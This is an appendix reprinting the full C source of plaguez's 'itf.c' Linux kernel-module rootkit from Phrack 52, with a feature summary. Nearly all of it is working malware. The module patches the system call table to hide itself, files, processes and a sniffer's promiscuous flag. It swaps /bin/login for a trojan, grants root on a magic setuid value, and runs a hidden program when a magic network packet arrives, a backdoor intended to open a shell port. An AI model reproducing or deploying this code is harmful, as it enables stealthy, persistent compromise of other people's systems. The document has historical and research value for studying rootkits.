附录(源码)
LKM Hider / Socket Backdoor
NAME : itf.c
AUTHOR : plaguez
DESCRIPTION : This very good LKM was published in phrack 52 (article
18 : 'Weakening the Linux Kernel'). I often refered to it although some
ideas in it were also taken from other LKMs / texts which were published
before. This module has everything you need to backdoor a system in
a very effective way. Look at the text supplied with it for all of its
features.
LINK : http://www.phrack.com
Here is itf.c. The goal of this program is to demonstrate kernel backdooring
techniques using systemcall redirection. Once installed, it is very
hard to
spot.
Its features include:
- stealth functions: once insmod'ed, itf will modify struct module *mp
and
get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms'
outputs.
Also, the module cannot be unloaded.
- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag
will be
hidden. Note that you'll need to place the sniffer BEFORE insmod'ing
itf.o,
because itf will trap a change in the PROMISC flag and will then stop
hidding
it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd
spot
the module...).
- file hidder: itf will also patch the getdents(2) system calls, thus
hidding
files containing a certain word in their filename.
- process hidder: using the same technique as described above, itf will
hide
/procs/P螪 directories using argv entries. Any process named with the
magic
name will be hidden from the procfs tree.
- execve redirection: this implements Halflife's idea discussed in P51.
If a given program (notably /bin/login) is execve'd, itf will execve
another program instead. It uses tricks to overcome Linux memory managment
limitations: brk(2) is used to increase the calling program's data segment
size, thus allowing us to allocate user memory while in kernel mode
(remember
that most system calls wait for arguments in user memory, not kernel
mem).
- socket recvfrom() backdoor: when a packet matching a given size and
a given
string is received, a non-interactive program will be executed. Typicall
use
is a shell script (which will be hidden using the magic name) that opens
another port and waits there for shell commands.
- setuid() trojan: like Halflife's stuff. When a setuid() syscall with
uid ==
magic number is done, the calling process will get uid = euid = gid
= 0
<++> lkm_trojan.c
/*
* itf.c v0.8
* Linux Integrated Trojan Facility
* (c) plaguez 1997 -- dube0866@eurobretagne.fr
* This is mostly not fully tested code. Use at your own risks.
*
*
* compile with:
* gcc -c -O3 -fomit-frame-pointer itf.c
* Then:
* insmod itf
*
*
* Thanks to Halflife and Solar Designer for their help/ideas.
*
* Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
*
*
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/mm.h>
#include <linux/errno.h>
#include <asm/segment.h>
#include <asm/pgtable.h>
#include <sys/syscall.h>
#include <linux/dirent.h>
#include <asm/unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socketcall.h>
#include <linux/netdevice.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/proc_fs.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>
/* Customization section
* - RECVEXEC is the full pathname of the program to be launched when
a packet
* of size MAGICSIZE and containing the word MAGICNAME is received with
recvfrom().
* This program can be a shell script, but must be able to handle null
**argv (I'm too lazy
* to write more than execve(RECVEXEC,NULL,NULL); :)
* - NEWEXEC is the name of the program that is executed instead of OLDEXEC
* when an execve() syscall occurs.
* - MAGICUID is the numeric uid that will give you root when a call
to setuid(MAGICUID)
* is made (like Halflife's code)
* - files containing MAGICNAME in their full pathname will be invisible
to
* a getdents() system call.
* - processes containing MAGICNAME in their process name will be hidden
of the
* procfs tree.
*/
#define MAGICNAME "w00w00T$!"
#define MAGICUID 31337
#define OLDEXEC "/bin/login"
#define NEWEXEC "/.w00w00T$!/w00w00T$!login"
#define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
#define MAGICSIZE sizeof(MAGICNAME)+10
/* old system calls vectors */
int (*o_getdents) (uint, struct dirent *, uint);
ssize_t(*o_readdir) (int, void *, size_t);
int (*o_setuid) (uid_t);
int (*o_execve) (const char *, const char *[], const char *[]);
int (*o_ioctl) (int, int, unsigned long);
int (*o_get_kernel_syms) (struct kernel_sym *);
ssize_t(*o_read) (int, void *, size_t);
int (*o_socketcall) (int, unsigned long *);
/* entry points to brk() and fork() syscall. */
static inline _syscall1(int, brk, void *, end_data_segment);
static inline _syscall0(int, fork);
static inline _syscall1(void, exit, int, status);
extern void *sys_call_table[];
extern struct proto tcp_prot;
int errno;
char mtroj[] = MAGICNAME;
int __NR_myexecve;
int promisc;
/*
* String-oriented functions
* (from user-space to kernel-space or invert)
*/
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
/*
* process hiding functions
*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
if (p->pid == pid)
return p;
p = p->next_task;
}
while (p != current);
return NULL;
}
/* the following function comes from fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
int i;
char *name;
name = p->comm;
i = sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while (i);
*buf = '\n';
return buf + 1;
}
int invisible(pid_t pid)
{
struct task_struct *task = get_task(pid);
char *buffer;
if (task) {
buffer = kmalloc(200, GFP_KERNEL);
memset(buffer, 0, 200);
task_name(task, buffer);
if (strstr(buffer, (char *) &mtroj)) {
kfree(buffer);
return 1;
}
}
return 0;
}
/*
* New system calls
*/
/*
* hide module symbols
*/
int n_get_kernel_syms(struct kernel_sym *table)
{
struct kernel_sym *tb;
int compt, compt2, compt3, i, done;
compt = (*o_get_kernel_syms) (table);
if (table != NULL) {
tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
if (tb == 0) {
return compt;
}
compt2 = 0;
done = 0;
i = 0;
memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
while (!done) {
if ((tb[compt2].name)[0] == '#')
i = compt2;
if (!strcmp(tb[compt2].name, mtroj)) {
for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 <
compt; compt3++);
if (compt3 != (compt - 1))
memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt
- compt3) * sizeof(struct kernel_sym));
else
compt = i;
done++;
}
compt2++;
if (compt2 == compt)
done++;
}
memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
kfree(tb);
}
return compt;
}
/*
* how it works:
* I need to allocate user memory. To do that, I'll do exactly as malloc()
does
* it (changing the break value).
*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
(filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}
int n_execve(const char *filename, const char *argv[], const char *envp[])
{
char *test;
int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;
test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
(void) strncpy_fromfs(test, filename, strlen(truc));
test[strlen(truc)] = '\0';
if (!strcmp(test, truc)) {
kfree(test);
mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
ret = my_execve((char *) (mmm + 2), argv, envp);
tmp = brk((void *) mmm);
} else {
kfree(test);
ret = my_execve(filename, argv, envp);
}
return ret;
}
/*
* Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
* If we reset the PROMISC flag when the trojan is already running, then
it
* won't hide it anymore (needed otherwise you'd just have to do an
* "ifconfig eth0 +promisc" to find the trojan).
*/
int n_ioctl(int d, int request, unsigned long arg)
{
int tmp;
struct ifreq ifr;
tmp = (*o_ioctl) (d, request, arg);
if (request == SIOCGIFFLAGS && !promisc) {
memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct
ifreq));
ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct
ifreq));
} else if (request == SIOCSIFFLAGS) {
memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct
ifreq));
if (ifr.ifr_flags & IFF_PROMISC)
promisc = 1;
else if (!(ifr.ifr_flags & IFF_PROMISC))
promisc = 0;
}
return tmp;
}
/*
* trojan setMAGICUID() system call.
*/
int n_setuid(uid_t uid)
{
int tmp;
if (uid == MAGICUID) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
tmp = (*o_setuid) (uid);
return tmp;
}
/*
* trojan getdents() system call.
*/
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
tmp = (*o_getdents) (fd, dirp, count);
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev)
&& MINOR(dinode->i_dev) == 1)
proc = 1;
if (tmp > 0) {
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
memcpy_fromfs(dirp2, dirp, tmp);
dirp3 = dirp2;
t = tmp;
while (t > 0) {
n = dirp3->d_reclen;
t -= n;
if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj)
!= NULL) \
||(proc && invisible(myatoi(dirp3->d_name)))) {
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (dirp3->d_reclen == 0) {
/*
* workaround for some shitty fs drivers that do not properly
* feature the getdents syscall.
*/
tmp -= t;
t = 0;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}
/*
* Trojan socketcall system call
* executes a given binary when a packet containing the magic word is
received.
* WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
*/
int n_socketcall(int call, unsigned long *args)
{
int ret, ret2, compt;
char *t = RECVEXEC;
unsigned long *sargs = args;
unsigned long a0, a1, mmm;
void *buf;
ret = (*o_socketcall) (call, args);
if (ret == MAGICSIZE && call == SYS_RECVFROM) {
a0 = get_user(sargs);
a1 = get_user(sargs + 1);
buf = kmalloc(ret, GFP_KERNEL);
memcpy_fromfs(buf, (void *) a1, ret);
for (compt = 0; compt < ret; compt++)
if (((char *) (buf))[compt] == 0)
((char *) (buf))[compt] = 1;
if (strstr(buf, mtroj)) {
kfree(buf);
ret2 = fork();
if (ret2 == 0) {
mmm = current->mm->brk;
ret2 = brk((void *) (mmm + 256));
memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
/* Hope the execve has been successfull otherwise you'll have 2 copies
of the
master process in the ps list :] */
ret2 = my_execve((char *) mmm + 2, NULL, NULL);
}
}
}
return ret;
}
/*
* module initialization stuff.
*/
int init_module(void)
{
/* module list cleaning */
/* would need to make a clean search of the right register
* in the function prologue, since gcc may not always put
* struct module *mp in %ebx
*
* Try %ebx, %edi, %ebp, well, every register actually :)
*/
register struct module *mp asm("%ebx");
*(char *) (mp->name) = 0;
mp->size = 0;
mp->ref = 0;
/*
* Make it unremovable
*/
/* MOD_INC_USE_COUNT;
*/
o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
o_getdents = sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents] = (void *) n_getdents;
o_setuid = sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid] = (void *) n_setuid;
__NR_myexecve = 164;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve]
!= 0)
__NR_myexecve--;
o_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0) {
sys_call_table[__NR_myexecve] = o_execve;
sys_call_table[SYS_execve] = (void *) n_execve;
}
promisc = 0;
o_ioctl = sys_call_table[SYS_ioctl];
sys_call_table[SYS_ioctl] = (void *) n_ioctl;
o_socketcall = sys_call_table[SYS_socketcall];
sys_call_table[SYS_socketcall] = (void *) n_socketcall;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
sys_call_table[SYS_getdents] = o_getdents;
sys_call_table[SYS_setuid] = o_setuid;
sys_call_table[SYS_socketcall] = o_socketcall;
if (__NR_myexecve != 0)
sys_call_table[__NR_myexecve] = 0;
sys_call_table[SYS_execve] = o_execve;
sys_call_table[SYS_ioctl] = o_ioctl;
}
<-->
----[ EOF
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文
|
|